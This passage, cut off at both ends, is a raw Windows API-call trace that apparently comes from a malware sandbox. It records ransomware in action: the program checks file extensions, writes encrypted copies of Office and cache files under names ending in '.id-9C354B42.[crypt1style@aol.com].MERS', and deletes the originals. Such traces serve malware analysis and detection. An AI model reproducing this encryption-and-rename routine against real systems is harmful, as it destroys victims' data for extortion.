4 [0048.876] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString=".docx") returned 5 [0048.876] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0048.876] lstrlenW (lpString=".pdf") returned 4 [0048.876] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString=".xls") returned 4 [0048.876] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0048.876] lstrlenW (lpString=".xlsx") returned 5 [0048.876] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0048.876] lstrlenW (lpString=".ppt") returned 4 [0048.877] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0048.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.877] lstrlenW (lpString=".zip") returned 4 [0048.877] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0048.877] lstrlenW (lpString=".rar") returned 4 [0048.877] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0048.877] lstrlenW (lpString=".bz2") returned 4 [0048.877] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0048.877] lstrlenW (lpString=".7z") returned 3 [0048.877] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0048.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.877] lstrlenW (lpString=".dbf") returned 4 [0048.877] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0048.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.877] lstrlenW (lpString=".1cd") returned 4 [0048.877] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0048.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.877] lstrlenW (lpString=".jpg") returned 4 [0048.877] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0048.877] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0048.877] lstrlenW (lpString="VisiorWW.cab") returned 12 [0048.877] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.877] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=195011319) returned 1 [0048.878] CloseHandle (hObject=0x1e8) returned 1 [0048.894] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0048.894] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.894] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0048.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.898] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.898] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.898] ReadFile (in: hFile=0x17c, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.453] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.453] ReadFile (in: hFile=0x17c, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.565] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.565] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.565] ReadFile (in: hFile=0x17c, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.599] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.599] WriteFile (in: hFile=0x17c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2c8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.617] SetEndOfFile (hFile=0x17c) returned 1 [0049.617] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0049.700] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.700] WriteFile (in: hFile=0x17c, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.701] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.701] WriteFile (in: hFile=0x17c, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.706] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.706] WriteFile (in: hFile=0x17c, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.708] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0049.708] CloseHandle (hObject=0x17c) returned 1 [0049.708] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0049.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.708] lstrlenW (lpString=".doc") returned 4 [0049.708] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.708] lstrlenW (lpString=".docx") returned 5 [0049.708] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.708] lstrlenW (lpString=".pdf") returned 4 [0049.708] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.708] lstrlenW (lpString=".xls") returned 4 [0049.709] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.709] lstrlenW (lpString=".xlsx") returned 5 [0049.709] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.709] lstrlenW (lpString=".ppt") returned 4 [0049.709] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.709] lstrlenW (lpString=".zip") returned 4 [0049.709] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.709] lstrlenW (lpString=".rar") returned 4 [0049.709] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.709] lstrlenW (lpString=".bz2") returned 4 [0049.709] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.709] lstrlenW (lpString=".7z") returned 3 [0049.709] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.709] lstrlenW (lpString=".dbf") returned 4 [0049.709] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.709] lstrlenW (lpString=".1cd") returned 4 [0049.709] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.709] lstrlenW (lpString=".jpg") returned 4 [0049.709] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.709] lstrlenW (lpString=".doc") returned 4 [0049.709] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.709] lstrlenW (lpString=".docx") returned 5 [0049.709] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.709] lstrlenW (lpString=".pdf") returned 4 [0049.709] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.709] lstrlenW (lpString=".xls") returned 4 [0049.709] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.709] lstrlenW (lpString=".xlsx") returned 5 [0049.709] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.710] lstrlenW (lpString=".ppt") returned 4 [0049.710] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.710] lstrlenW (lpString=".zip") returned 4 [0049.710] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.710] lstrlenW (lpString=".rar") returned 4 [0049.710] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.710] lstrlenW (lpString=".bz2") returned 4 [0049.710] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.710] lstrlenW (lpString=".7z") returned 3 [0049.710] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.710] lstrlenW (lpString=".dbf") returned 4 [0049.710] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.710] lstrlenW (lpString=".1cd") returned 4 [0049.710] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0049.710] lstrlenW (lpString=".jpg") returned 4 [0049.710] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.710] lstrcmpiW (lpString1=".EXE", lpString2=".MERS") returned -1 [0049.710] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0049.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.856] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=629664) returned 1 [0049.856] CloseHandle (hObject=0x180) returned 1 [0049.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0049.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.857] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.857] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0049.884] GetLastError () returned 0x0 [0049.884] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0049.917] WriteFile (in: hFile=0x21c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0049.927] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.927] WriteFile (in: hFile=0x21c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.927] SetEndOfFile (hFile=0x21c) returned 1 [0049.927] CloseHandle (hObject=0x21c) returned 1 [0049.927] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.927] SetEndOfFile (hFile=0x180) returned 1 [0049.932] CloseHandle (hObject=0x180) returned 1 [0049.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.932] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0049.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.933] lstrlenW (lpString=".doc") returned 4 [0049.933] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0049.933] lstrlenW (lpString=".docx") returned 5 [0049.933] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0049.933] lstrlenW (lpString=".pdf") returned 4 [0049.933] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0049.933] lstrlenW (lpString=".xls") returned 4 [0049.933] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0049.933] lstrlenW (lpString=".xlsx") returned 5 [0049.933] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0049.933] lstrlenW (lpString=".ppt") returned 4 [0049.933] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0049.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.933] lstrlenW (lpString=".zip") returned 4 [0049.933] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0049.933] lstrlenW (lpString=".rar") returned 4 [0049.933] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0049.933] lstrlenW (lpString=".bz2") returned 4 [0049.933] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0049.933] lstrlenW (lpString=".7z") returned 3 [0049.933] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0049.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.933] lstrlenW (lpString=".dbf") returned 4 [0049.933] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0049.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.933] lstrlenW (lpString=".1cd") returned 4 [0049.933] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0049.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.933] lstrlenW (lpString=".jpg") returned 4 [0049.933] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0049.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.934] lstrlenW (lpString=".doc") returned 4 [0049.934] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0049.934] lstrlenW (lpString=".docx") returned 5 [0049.934] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0049.934] lstrlenW (lpString=".pdf") returned 4 [0049.934] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0049.934] lstrlenW (lpString=".xls") returned 4 [0049.934] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0049.934] lstrlenW (lpString=".xlsx") returned 5 [0049.934] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0049.934] lstrlenW (lpString=".ppt") returned 4 [0049.934] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0049.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.934] lstrlenW (lpString=".zip") returned 4 [0049.934] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0049.934] lstrlenW (lpString=".rar") returned 4 [0049.934] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0049.934] lstrlenW (lpString=".bz2") returned 4 [0049.934] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0049.934] lstrlenW (lpString=".7z") returned 3 [0049.934] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0049.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.934] lstrlenW (lpString=".dbf") returned 4 [0049.934] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0049.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.934] lstrlenW (lpString=".1cd") returned 4 [0049.934] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0049.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0049.934] lstrlenW (lpString=".jpg") returned 4 [0049.934] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0049.934] lstrcmpiW (lpString1=".EXE", lpString2=".MERS") returned -1 [0049.935] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0049.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.935] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=543304) returned 1 [0049.935] CloseHandle (hObject=0x180) returned 1 [0049.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0049.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.935] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.935] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0049.936] GetLastError () returned 0x0 [0049.936] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x84a48, lpOverlapped=0x0) returned 1 [0050.213] WriteFile (in: hFile=0x21c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0050.231] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.231] WriteFile (in: hFile=0x21c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.231] SetEndOfFile (hFile=0x21c) returned 1 [0050.231] CloseHandle (hObject=0x21c) returned 1 [0050.231] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.231] SetEndOfFile (hFile=0x180) returned 1 [0050.238] CloseHandle (hObject=0x180) returned 1 [0050.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.238] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0050.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.239] lstrlenW (lpString=".doc") returned 4 [0050.239] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0050.239] lstrlenW (lpString=".docx") returned 5 [0050.239] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0050.239] lstrlenW (lpString=".pdf") returned 4 [0050.239] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0050.239] lstrlenW (lpString=".xls") returned 4 [0050.239] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0050.239] lstrlenW (lpString=".xlsx") returned 5 [0050.239] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0050.239] lstrlenW (lpString=".ppt") returned 4 [0050.239] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0050.239] lstrlenW 